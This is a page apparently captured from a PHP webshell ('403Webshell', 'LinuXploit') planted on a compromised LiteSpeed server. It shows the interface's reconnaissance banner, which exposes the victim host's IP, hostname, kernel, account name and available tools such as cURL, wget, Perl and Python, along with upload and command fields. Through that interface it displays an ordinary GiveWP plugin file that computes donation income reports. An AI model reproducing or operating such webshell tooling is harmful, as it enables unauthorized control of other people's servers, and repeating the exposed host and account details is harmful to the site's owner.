403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.15.28.86
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/task/7779/cwd/plugins/give/src/API/Endpoints/Reports/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/task/7779/cwd/plugins/give/src/API/Endpoints/Reports/IncomeBreakdown.php
<?php

/**
 * Income over time endpoint
 *
 * @package Give
 */

namespace Give\API\Endpoints\Reports;

class IncomeBreakdown extends Endpoint
{

    protected $payments;

    public function __construct()
    {
        $this->endpoint = 'income-breakdown';
    }

    public function getReport($request)
    {
        $start = date_create($request->get_param('start'));
        $end = date_create($request->get_param('end'));
        $diff = date_diff($start, $end);

        $dataset = [];

        switch (true) {
            case ($diff->days > 365):
                $data = $this->get_data($start, $end, 'P1M');
                break;
            case ($diff->days > 60):
                $data = $this->get_data($start, $end, 'P1W');
                break;
            case ($diff->days > 5):
                $data = $this->get_data($start, $end, 'P1D');
                break;
            case ($diff->days >= 0):
                $data = $this->get_data($start, $end, 'PT1H');
                break;
        }

        return $data;
    }

    public function get_data($start, $end, $intervalStr)
    {
        $data = [];

        $interval = new \DateInterval($intervalStr);

        $periodStart = clone $start;
        $periodEnd = clone $start;

        // Subtract interval to set up period start
        date_sub($periodStart, $interval);

        while ($periodStart < $end) {
            $values = $this->get_values($periodStart->format('Y-m-d H:i:s'), $periodEnd->format('Y-m-d H:i:s'));

            $incomeForPeriod = $values['income'];
            $donorsForPeriod = $values['donors'];
            $refundsForPeriod = $values['refunds'];
            $netForPeriod = $values['net'];

            switch ($intervalStr) {
                case 'P1M':
                    $periodLabel = $periodEnd->format('F Y');
                    break;
                case 'P1D':
                    $periodLabel = $periodStart->format('F j, Y');
                    break;
                case 'PT1H':
                    $periodLabel = $periodEnd->format('l ga');
                    break;
                default:
                    $periodLabel = $periodEnd->format('F j, Y');
            }

            $data[] = [
                __('Date', 'give') => $periodLabel,
                __('Donors', 'give') => $donorsForPeriod,
                __('Donations', 'give') => $incomeForPeriod,
                __('Refunds', 'give') => $refundsForPeriod,
                __('Net', 'give') => $netForPeriod,
            ];

            // Add interval to set up next period
            date_add($periodStart, $interval);
            date_add($periodEnd, $interval);
        }

        return $data;
    }

    public function get_values($startStr, $endStr)
    {
        $paymentObjects = $this->getPayments($startStr, $endStr);

        $income = 0;
        $refundTotal = 0;
        $refunds = 0;
        $donors = [];

        foreach ($paymentObjects as $paymentObject) {
            if ($paymentObject->date > $startStr && $paymentObject->date <= $endStr) {
                switch ($paymentObject->status) {
                    case 'give_subscription':
                    case 'publish':
                    {
                        $income += $paymentObject->total;
                        $donors[] = $paymentObject->donor_id;
                        break;
                    }
                    case 'refunded':
                    {
                        $refunds += 1;
                        $income += $paymentObject->total;
                        $refundTotal += $paymentObject->total;
                        break;
                    }
                }
            }
        }

        $unique = array_unique($donors);

        return [
            'income' => give_currency_filter(
                give_format_amount($income),
                [
                    'currency_code' => $this->currency,
                    'decode_currency' => true,
                    'sanitize' => false,
                ]
            ),
            'donors' => count($unique),
            'refunds' => $refunds,
            'net' => give_currency_filter(
                give_format_amount($income - $refundTotal),
                [
                    'currency_code' => $this->currency,
                    'decode_currency' => true,
                    'sanitize' => false,
                ]
            ),
        ];
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit